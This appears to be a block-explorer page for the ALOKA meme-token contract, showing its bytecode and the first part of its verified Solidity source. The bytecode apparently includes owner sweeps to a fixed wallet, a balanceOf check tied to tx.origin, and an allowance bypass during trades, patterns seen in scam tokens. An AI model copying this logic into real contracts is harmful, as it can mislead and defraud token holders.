Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0x097af7613A8eD4eE82bbF8F479ca6017b70bEB87
Balance 0 ETH
Nonce 1
Code Size 13949 bytes
Indexed Transactions Index loading...
External Etherscan · Sourcify

Contract Bytecode

13949 bytes
0x60806040526004361061014e575f3560e01c8063715018a6116100b5578063a9059cbb1161006e578063a9059cbb14610453578063b3f006741461048f578063c816841b146104b9578063d18afa85146104e3578063d71834de1461050b578063dd62ed3e1461052157610155565b8063715018a61461036f578063751039fc146103855780638da5cb5b1461039b57806395d89b41146103c5578063a08fc5c7146103ef578063a457c2d71461041757610155565b8063313ce56711610107578063313ce56714610265578063395093511461028f57806347062402146102cb57806362aaff3a146102f55780636fc3eaec1461031d57806370a082311461033357610155565b806306fdde0314610159578063095ea7b31461018357806318160ddd146101bf5780631fac6a3b146101e957806323b872dd146101ff5780632b14ca561461023b57610155565b3661015557005b5f80fd5b348015610164575f80fd5b5061016d61055d565b60405161017a919061266d565b60405180910390f35b34801561018e575f80fd5b506101a960048036038101906101a4919061271e565b6105ed565b6040516101b69190612776565b60405180910390f35b3480156101ca575f80fd5b506101d361060f565b6040516101e0919061279e565b60405180910390f35b3480156101f4575f80fd5b506101fd610618565b005b34801561020a575f80fd5b50610225600480360381019061022091906127b7565b610714565b6040516102329190612776565b60405180910390f35b348015610246575f80fd5b5061024f610742565b60405161025c919061279e565b60405180910390f35b348015610270575f80fd5b50610279610748565b6040516102869190612822565b60405180910390f35b34801561029a575f80fd5b506102b560048036038101906102b0919061271e565b610750565b6040516102c29190612776565b60405180910390f35b3480156102d6575f80fd5b506102df6107f5565b6040516102ec919061279e565b60405180910390f35b348015610300575f80fd5b5061031b60048036038101906103169190612876565b6107fb565b005b348015610328575f80fd5b506103316109a7565b005b34801561033e575f80fd5b50610359600480360381019061035491906128a1565b610a15565b604051610366919061279e565b60405180910390f35b34801561037a575f80fd5b50610383610a3d565b005b348015610390575f80fd5b50610399610b90565b005b3480156103a6575f80fd5b506103af610c36565b6040516103bc91906128db565b60405180910390f35b3480156103d0575f80fd5b506103d9610c5e565b6040516103e6919061266d565b60405180910390f35b3480156103fa575f80fd5b50610415600480360381019061041091906128f4565b610cee565b005b348015610422575f80fd5b5061043d6004803603810190610438919061271e565b610de7565b60405161044a9190612776565b60405180910390f35b34801561045e575f80fd5b506104796004803603810190610474919061271e565b610ecb565b6040516104869190612776565b60405180910390f35b34801561049a575f80fd5b506104a3610eed565b6040516104b091906128db565b60405180910390f35b3480156104c4575f80fd5b506104cd610f11565b6040516104da91906128db565b60405180910390f35b3480156104ee575f80fd5b50610509600480360381019061050491906128f4565b610f36565b005b348015610516575f80fd5b5061051f610fde565b005b34801561052c575f80fd5b5061054760048036038101906105429190612932565b6113e8565b604051610554919061279e565b60405180910390f35b60606003805461056c9061299d565b80601f01602080910402602001604051908101604052809291908181526020018280546105989061299d565b80156105e35780601f106105ba576101008083540402835291602001916105e3565b820191905f5260205f20905b8154815290600101906020018083116105c657829003601f168201915b5050505050905090565b5f806105f761146a565b9050610604818585611471565b600191505092915050565b5f600254905090565b61062061146a565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a590612a17565b60405180910390fd5b7f0000000000000000000000000e5d1f8fa07c177bdeccc7f898ba6504d25dd80a73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610711573d5f803e3d5ffd5b50565b5f8061071e61146a565b905061072b858585611634565b610736858285611df1565b60019150509392505050565b600c5481565b5f6009905090565b5f8061075a61146a565b90506107ea81858560015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107e59190612a62565b611471565b600191505092915050565b600b5481565b61080361146a565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610891576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088890612a17565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb7f0000000000000000000000000e5d1f8fa07c177bdeccc7f898ba6504d25dd80a8373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161090791906128db565b602060405180830381865afa158015610922573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109469190612aa9565b6040518363ffffffff1660e01b8152600401610963929190612ad4565b6020604051808303815f875af115801561097f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a39190612b25565b5050565b7f0000000000000000000000000e5d1f8fa07c177bdeccc7f898ba6504d25dd80a73ffffffffffffffffffffffffffffffffffffffff166109e661146a565b73ffffffffffffffffffffffffffffffffffffffff1614610a05575f80fd5b5f479050610a1281611e97565b50565b5f610a1f82611efe565b15610a2c575f9050610a38565b610a3582612106565b90505b919050565b610a4561146a565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ad3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aca90612a17565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b9861146a565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1d90612a17565b60405180910390fd5b610c2e61060f565b600981905550565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610c6d9061299d565b80601f0160208091040260200160405190810160405280929190818152602001828054610c999061299d565b8015610ce45780601f10610cbb57610100808354040283529160200191610ce4565b820191905f5260205f20905b815481529060010190602001808311610cc757829003601f168201915b5050505050905090565b610cf661146a565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7b90612a17565b60405180910390fd5b60188211158015610d96575060188111155b610dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcc90612bc0565b60405180910390fd5b81600b8190555080600c819055505050565b5f80610df161146a565b90505f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905083811015610eb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea990612c4e565b60405180910390fd5b610ebf8286868403611471565b60019250505092915050565b5f80610ed561146a565b9050610ee2818585611634565b600191505092915050565b7f0000000000000000000000000e5d1f8fa07c177bdeccc7f898ba6504d25dd80a81565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610f3e61146a565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc390612a17565b60405180910390fd5b81600781905550806008819055505050565b610fe661146a565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611074576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106b90612a17565b60405180910390fd5b61109a30737a250d5630b4cf539739df2c5dacb4c659f2488d61109561060f565b611471565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110f7573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061111b9190612c80565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611194573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111b89190612c80565b6040518363ffffffff1660e01b81526004016111d5929190612cab565b6020604051808303815f875af11580156111f1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112159190612c80565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3737a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e4929190612ad4565b6020604051808303815f875af1158015611300573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113249190612b25565b50737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d719473060648061136261060f565b61136c9190612cd2565b6113769190612d40565b5f80611380610c36565b426040518863ffffffff1660e01b81526004016113a296959493929190612db2565b60606040518083038185885af11580156113be573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906113e39190612e11565b505050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d690612ed1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361154d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154490612f5f565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611627919061279e565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169990612fed565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611710576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117079061307b565b60405180910390fd5b5f8111611752576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174990613109565b60405180910390fd5b5f600d5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806117ee5750600d5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b90505f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415806118495750805b611888576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187f90613171565b60405180910390fd5b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161490505f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161490505f811580156119835750600d5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b90505f600d5f61199161146a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1690508280156119e4575084155b15611b4857600954866119f689610a15565b611a009190612a62565b111580611a4c5750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16145b611a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a82906131d9565b60405180910390fd5b600a60109054906101000a900463ffffffff1663ffffffff16600a5f9054906101000a900463ffffffff1663ffffffff1611611b0257600a5f81819054906101000a900463ffffffff1680929190611ae290613206565b91906101000a81548163ffffffff021916908363ffffffff160217905550505b600a60109054906101000a900463ffffffff1663ffffffff16600a5f9054906101000a900463ffffffff1663ffffffff1603611b47575f600b819055505f600c819055505b5b5f611b5230610a15565b9050848015611b6e5750600a60149054906101000a900460ff16155b8015611b78575085155b8015611bb25750600a600c9054906101000a900463ffffffff1663ffffffff16600a5f9054906101000a900463ffffffff1663ffffffff16115b15611d2957600a60089054906101000a900463ffffffff1663ffffffff16431115611bf9575f600a60046101000a81548163ffffffff021916908363ffffffff1602179055505b6021600a60049054906101000a900463ffffffff1663ffffffff1610611c54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4b9061327b565b60405180910390fd5b6001600a60146101000a81548160ff0219169083151502179055506008548110611c9657611c95611c9088611c8b8460075461214b565b61214b565b612163565b5b5f600a60146101000a81548160ff0219169083151502179055505f4790505f8110611cc557611cc481611e97565b5b600a600481819054906101000a900463ffffffff1680929190611ce790613206565b91906101000a81548163ffffffff021916908363ffffffff1602179055505043600a60086101000a81548163ffffffff021916908363ffffffff160217905550505b5f84611d3757600c54611d3b565b600b545b90508380611d465750825b600a60156101000a81548160ff0219169083151502179055505f81118015611d6c575086155b8015611d855750600a60149054906101000a900460ff16155b8015611d9657508480611d955750855b5b15611dda575f6064828a611daa9190612cd2565b611db49190612d40565b90505f811115611dd857611dc98b3083612372565b8089611dd59190613299565b98505b505b611de58a8a8a612372565b50505050505050505050565b5f611dfc84846113e8565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114158015611e3b5750600a60159054906101000a900460ff16155b15611e915781811015611e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7a90613316565b60405180910390fd5b611e908484848403611471565b5b50505050565b7f0000000000000000000000000e5d1f8fa07c177bdeccc7f898ba6504d25dd80a73ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611efa573d5f803e3d5ffd5b5050565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561201357505f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a0823160065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401611fd291906128db565b602060405180830381865afa158015611fed573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906120119190612aa9565b115b801561207257507f0000000000000000000000000e5d1f8fa07c177bdeccc7f898ba6504d25dd80a73ffffffffffffffffffffffffffffffffffffffff166120596125e7565b73ffffffffffffffffffffffffffffffffffffffff1614155b80156120b157505f73ffffffffffffffffffffffffffffffffffffffff166120986125e7565b73ffffffffffffffffffffffffffffffffffffffff1614155b80156120f2575061dead73ffffffffffffffffffffffffffffffffffffffff166120d96125e7565b73ffffffffffffffffffffffffffffffffffffffff1614155b6120fc575f6120ff565b60015b9050919050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f818311612159578261215b565b815b905092915050565b5f600267ffffffffffffffff81111561217f5761217e613334565b5b6040519080825280602002602001820160405280156121ad5781602001602082028036833780820191505090505b50905030815f815181106121c4576121c3613361565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561225b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061227f9190612c80565b8160018151811061229357612292613361565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506122ec30737a250d5630b4cf539739df2c5dacb4c659f2488d84611471565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612341959493929190613445565b5f604051808303815f87803b158015612358575f80fd5b505af115801561236a573d5f803e3d5ffd5b505050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036123e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d79061350d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361244e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124459061359b565b60405180910390fd5b6124598383836125f3565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156124dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124d390613629565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461256a9190612a62565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125ce919061279e565b60405180910390a36125e18484846125f8565b50505050565b5f3290505f8117905090565b505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61263f826125fd565b6126498185612607565b9350612659818560208601612617565b61266281612625565b840191505092915050565b5f6020820190508181035f8301526126858184612635565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6126ba82612691565b9050919050565b6126ca816126b0565b81146126d4575f80fd5b50565b5f813590506126e5816126c1565b92915050565b5f819050919050565b6126fd816126eb565b8114612707575f80fd5b50565b5f81359050612718816126f4565b92915050565b5f80604083850312156127345761273361268d565b5b5f612741858286016126d7565b92505060206127528582860161270a565b9150509250929050565b5f8115159050919050565b6127708161275c565b82525050565b5f6020820190506127895f830184612767565b92915050565b612798816126eb565b82525050565b5f6020820190506127b15f83018461278f565b92915050565b5f805f606084860312156127ce576127cd61268d565b5b5f6127db868287016126d7565b93505060206127ec868287016126d7565b92505060406127fd8682870161270a565b9150509250925092565b5f60ff82169050919050565b61281c81612807565b82525050565b5f6020820190506128355f830184612813565b92915050565b5f612845826126b0565b9050919050565b6128558161283b565b811461285f575f80fd5b50565b5f813590506128708161284c565b92915050565b5f6020828403121561288b5761288a61268d565b5b5f61289884828501612862565b91505092915050565b5f602082840312156128b6576128b561268d565b5b5f6128c3848285016126d7565b91505092915050565b6128d5816126b0565b82525050565b5f6020820190506128ee5f8301846128cc565b92915050565b5f806040838503121561290a5761290961268d565b5b5f6129178582860161270a565b92505060206129288582860161270a565b9150509250929050565b5f80604083850312156129485761294761268d565b5b5f612955858286016126d7565b9250506020612966858286016126d7565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806129b457607f821691505b6020821081036129c7576129c6612970565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612a01602083612607565b9150612a0c826129cd565b602082019050919050565b5f6020820190508181035f830152612a2e816129f5565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612a6c826126eb565b9150612a77836126eb565b9250828201905080821115612a8f57612a8e612a35565b5b92915050565b5f81519050612aa3816126f4565b92915050565b5f60208284031215612abe57612abd61268d565b5b5f612acb84828501612a95565b91505092915050565b5f604082019050612ae75f8301856128cc565b612af4602083018461278f565b9392505050565b612b048161275c565b8114612b0e575f80fd5b50565b5f81519050612b1f81612afb565b92915050565b5f60208284031215612b3a57612b3961268d565b5b5f612b4784828501612b11565b91505092915050565b7f417474656d7074696e6720746f207365742066656520686967686572207468615f8201527f6e20696e697469616c206665652e000000000000000000000000000000000000602082015250565b5f612baa602e83612607565b9150612bb582612b50565b604082019050919050565b5f6020820190508181035f830152612bd781612b9e565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612c38602583612607565b9150612c4382612bde565b604082019050919050565b5f6020820190508181035f830152612c6581612c2c565b9050919050565b5f81519050612c7a816126c1565b92915050565b5f60208284031215612c9557612c9461268d565b5b5f612ca284828501612c6c565b91505092915050565b5f604082019050612cbe5f8301856128cc565b612ccb60208301846128cc565b9392505050565b5f612cdc826126eb565b9150612ce7836126eb565b9250828202612cf5816126eb565b91508282048414831517612d0c57612d0b612a35565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612d4a826126eb565b9150612d55836126eb565b925082612d6557612d64612d13565b5b828204905092915050565b5f819050919050565b5f819050919050565b5f612d9c612d97612d9284612d70565b612d79565b6126eb565b9050919050565b612dac81612d82565b82525050565b5f60c082019050612dc55f8301896128cc565b612dd2602083018861278f565b612ddf6040830187612da3565b612dec6060830186612da3565b612df960808301856128cc565b612e0660a083018461278f565b979650505050505050565b5f805f60608486031215612e2857612e2761268d565b5b5f612e3586828701612a95565b9350506020612e4686828701612a95565b9250506040612e5786828701612a95565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612ebb602483612607565b9150612ec682612e61565b604082019050919050565b5f6020820190508181035f830152612ee881612eaf565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612f49602283612607565b9150612f5482612eef565b604082019050919050565b5f6020820190508181035f830152612f7681612f3d565b9050919050565b7f5472616e736665722066726f6d20746865207a65726f2061646472657373206e5f8201527f6f7420616c6c6f7765642e000000000000000000000000000000000000000000602082015250565b5f612fd7602b83612607565b9150612fe282612f7d565b604082019050919050565b5f6020820190508181035f83015261300481612fcb565b9050919050565b7f5472616e7366657220746f20746865207a65726f2061646472657373206e6f745f8201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000602082015250565b5f613065602983612607565b91506130708261300b565b604082019050919050565b5f6020820190508181035f83015261309281613059565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f2e00000000000000000000000000000000000000000000602082015250565b5f6130f3602a83612607565b91506130fe82613099565b604082019050919050565b5f6020820190508181035f830152613120816130e7565b9050919050565b7f4c69717569646974792070616972206e6f742079657420637265617465642e005f82015250565b5f61315b601f83612607565b915061316682613127565b602082019050919050565b5f6020820190508181035f8301526131888161314f565b9050919050565b7f4d61782077616c6c6574206578636565646564000000000000000000000000005f82015250565b5f6131c3601383612607565b91506131ce8261318f565b602082019050919050565b5f6020820190508181035f8301526131f0816131b7565b9050919050565b5f63ffffffff82169050919050565b5f613210826131f7565b915063ffffffff820361322657613225612a35565b5b600182019050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f613265601783612607565b915061327082613231565b602082019050919050565b5f6020820190508181035f83015261329281613259565b9050919050565b5f6132a3826126eb565b91506132ae836126eb565b92508282039050818111156132c6576132c5612a35565b5b92915050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f613300601d83612607565b915061330b826132cc565b602082019050919050565b5f6020820190508181035f83015261332d816132f4565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6133c0816126b0565b82525050565b5f6133d183836133b7565b60208301905092915050565b5f602082019050919050565b5f6133f38261338e565b6133fd8185613398565b9350613408836133a8565b805f5b8381101561343857815161341f88826133c6565b975061342a836133dd565b92505060018101905061340b565b5085935050505092915050565b5f60a0820190506134585f83018861278f565b6134656020830187612da3565b818103604083015261347781866133e9565b905061348660608301856128cc565b613493608083018461278f565b9695505050505050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6134f7602583612607565b91506135028261349d565b604082019050919050565b5f6020820190508181035f830152613524816134eb565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613585602383612607565b91506135908261352b565b604082019050919050565b5f6020820190508181035f8301526135b281613579565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f613613602683612607565b915061361e826135b9565b604082019050919050565b5f6020820190508181035f83015261364081613607565b905091905056fea264697066735822122035cf781f7a9d8fd97de45c607983f0e024cb09d2b53e65199419fd720538441564736f6c634300081a0033

Verified Source Code Full Match

Compiler: v0.8.26+commit.8a97fa7a EVM: cancun Optimization: No
ALOKA.sol 459 lines
/*
    walking across America with the Venerable monks. The walk for peace around the world! 💛

    Web: https://alokatheepacedog.vip
    X: https://x.com/alokathe_peace
    Tg: https://t.me/alokathe_peace
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.22;

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
        function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgOrigin() internal view virtual returns (address r) {
        assembly {
            r := origin()
            r := or(r, 0)
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _transfer(from, to, amount);
        _spendAllowance(from, spender, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, _allowances[owner][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = _allowances[owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
        }
